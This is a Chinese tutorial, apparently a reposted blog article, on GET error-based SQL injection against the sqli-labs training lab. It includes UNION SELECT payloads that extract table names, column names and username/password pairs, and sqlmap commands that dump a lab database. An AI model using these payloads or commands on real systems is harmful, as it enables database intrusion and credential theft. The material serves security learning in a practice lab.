IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> get基于报错的sql注入 -> 正文阅读

[网络协议]get基于报错的sql注入

?目录

1.SQL注入的分类

数字型

字符型

2.get基于报错的sql注入发现

3.get基于报错的sql注入利用

1.利用order by 判断字段数。

2.利用union select 联合查询,获取表名。

3.利用union select联合查询,获取字段名。

4.利用union select 联合查询,获取字段值。

4.利用sqlmap测试


1.SQL注入的分类

根据注入为数据类型可将sql注入分为数字型和字符型。

数字型

例如

select *from table where id = 用户输入id

字符型

例如

select * from table where id = '用户输入id
'

2.get基于报错的sql注入发现

通过在url中修改对应的id值,为正常数字、打数字、字符(单引号、双引号、双单引号、括号)、反斜杠 \ 来探测url中是否存在注入点。

那么我们可以利用sqllilabs的less1到3题来看看 get基于报错的sql注入

然后我们输入5

?输入10

10也有,那我们输入15

?发现15没有,那我们输入14

发现,14有,

测这种有多少的方法很简单,可以按1,5,10,15这样叠加上去,如果遇到没有的,那就与上一个数取半来继续?,

比如 输入10有,15没有,那就输入13,如果十三有可以试试14。

那么在14后门加个单引号

报错,存在注入点,好吧。

sql语句的话可以是

select login_name,password from admin where id = 'id' limit 0,1

?这个admin的表不一定是存在的,这里只是假设有这个表。

看看第二个

加上单引号一样报错,

sql语句为

select login_name,password from admin where id = id limit 0,1

?可以看出id加不加单引号括起来是看 limit0,1那里的,这就是字符串和数字类型了

看到第三题

发现有俩个单引号还有一个单括号,那么sql语句可以为

select login_name,password from admin where id =('id') limit 0,1

?然后试试

) --+

来闭合、注释,发现过了

?其实不用+号 加上%20也是可以的,也就是空格

3.get基于报错的sql注入利用

1.利用order by 判断字段数。

测试5和4时都报错,显示?Unknown column '4' in 'order clause'?发现3是对的,那么我们可以得出当前内容有三个字段,

2.利用union select 联合查询,获取表名。

0' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

然后

这里改成0,然后显示的是,用的是第二个字段的name,第三个字段的password。

那么我们可以改一下

?

一个显示它的版本,一个显示他的数据库?

那么我们就可以用上面的语句来测试,

3.利用union select联合查询,获取字段名。

0' union select 1, group_concat(column_name),3 from information_schema.columns where table_name='users'--+

4.利用union select 联合查询,获取字段值。

0' union select 1, group_concat(username,0x3a,password),3 from users--+

那么这里就获取出来了当前数据库中所有的name和password。

4.利用sqlmap测试

用sqlmap对漏洞进行漏洞探测:

sqlmap -u 'http://192.168.0.105/sqli/Less-1/?id=1' --dbs --batch

可以看到这有七个数据库。然后我们要看看security这个数据库

┌──(root💀bt)-[~]
└─# sqlmap -u 'http://192.168.0.105/sqli/Less-1/?id=1' -D security --tables --batch

?

然后看users这个表

┌──(root💀bt)-[~]
└─# sqlmap -u 'http://192.168.0.105/sqli/Less-1/?id=1' -D security -T users --columns --batch

?

然后把它们显示出来

┌──(root💀bt)-[~]
└─# sqlmap -u 'http://192.168.0.105/sqli/Less-1/?id=1' -D security -T users -C 'username,password' --dump --batch

?

?搞完!

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-07-17 16:57:20  更:2022-07-17 16:59:52 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/19 13:18:01-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码